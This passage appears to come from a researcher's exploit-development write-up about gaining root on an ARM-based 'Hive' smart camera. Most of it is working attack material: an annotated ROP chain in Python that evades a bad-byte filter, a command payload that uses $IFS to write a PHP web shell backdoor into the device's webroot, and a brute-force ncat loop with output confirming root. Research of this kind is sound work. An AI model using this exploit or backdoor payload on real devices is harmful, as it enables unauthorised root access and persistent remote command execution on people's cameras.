0x76F0B301-0xf0=0x76F0B211
The last byte of the address is still inside the range of bytes that will cause our request to be considered bad. Could we use this gadget twice?
0x76F0B301-(0xf0*2)=0x76F0B121
Yes! With this in mind, we opt for the same plan as before, with some additions to ensure our addresses are adjusted where necessary. I ended up with the below chain, which I’ve annotated:
# context: r4 = $sp
exploit_str = "service="
exploit_str += "C"*pc_overwrite
# pop r7, pc <<< WE START HERE
# address of system, subtracted by a number of bytes to avoid filtering
exploit_str += struct.pack('<I', libc_base+(0x32301-(0xf0*2))) # r7 = [system()] - 0xf0*2 (to avoid blacklist). We call add twice to correct this address!
# first cycle
exploit_str += struct.pack('<I', libc_base+0xc43d1) # pop {r3, r6, pc};
exploit_str += struct.pack('<I', libc_base+0xc43d1) # ^ LOOP (r3) # prepare for 2nd cycle
exploit_str += struct.pack('<I', 0x42424242) # junk for r6
exploit_str += struct.pack('<I', libc_base+0xd49bb) # adds r7, #0xf0; blx r3; (pc) - notice this calls r3 to start again, having incremented our pointer to system() in r7
# second cycle
# pop {r3, r6, pc}; < we're now here!
exploit_str += struct.pack('<I', libc_base+0x4cdc1) # value of r3 is next instruction -> mov r0, r4, blx r7
exploit_str += struct.pack('<I', 0x42424242) # junk for r6
exploit_str += struct.pack('<I', libc_base+0xd49bb) # addr of pc! adds r7, #0xf0; blx r3; -> mov r0, r4, blx r7
exploit_str += command
What about our payload? We recall that various PHP scripts exist within our firmware. In order to gain a reliable backdoor, that is, one that would allow unconstrained command execution without authentication, I figured it would be a good idea to write a very simple PHP script that would execute a given command to the webroot of the device, I chose the following payload to do this:
command = 'echo$IFS"<?=\`\$_GET[1]\`;">/work/www/htdocs_weboff/backdoor.php;id;uname$IFS-a';
We note that a space (‘ ‘) character translates to 0x20 in hex, which is within the range of banned bytes, to bypass this, we take advantage of the $IFS environment variable, which typically can be used in substitution for a space.
Our PHP payload itself is kept purposefully minimal, so to prevent unintended behaviour or corruption. Finally, we execute the commands id and uname -a as an indication of a successful exploitation.
Firing our exploit against the Hive server over TLS, we eventually get confirmation:
josh@exploitdev:/tmp/exploits$ for i in $(seq 1 256); do python exploit_remote.py | ncat --ssl 192.168.0.14 443; done
HTTP/1.1 500 INTERNAL SERVER ERROR
[...]
HTTP/1.1 500 INTERNAL SERVER ERROR
[..]
HTTP/1.1 500 INTERNAL SERVER ERROR
[...]
HTTP/1.1 500 INTERNAL SERVER ERROR
[...]
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Date: Wed, 10 Apr 2019 23:34:22 GMT
Server: SmartCamWebService
b
uid=0(root) gid=0(root)
Linux Ambarella 3.10.73 #1 PREEMPT Fri Dec 29 15:23:17 KST 2017 armv7l GNU/Linux
0
With this, we see that we’re root and our backdoor has been installed. Success!
We’ve successfully exploited the ARM based Hive camera. Yes, we needed authentication, but this still allowed a backdoor to be installed as well as root level access to the device!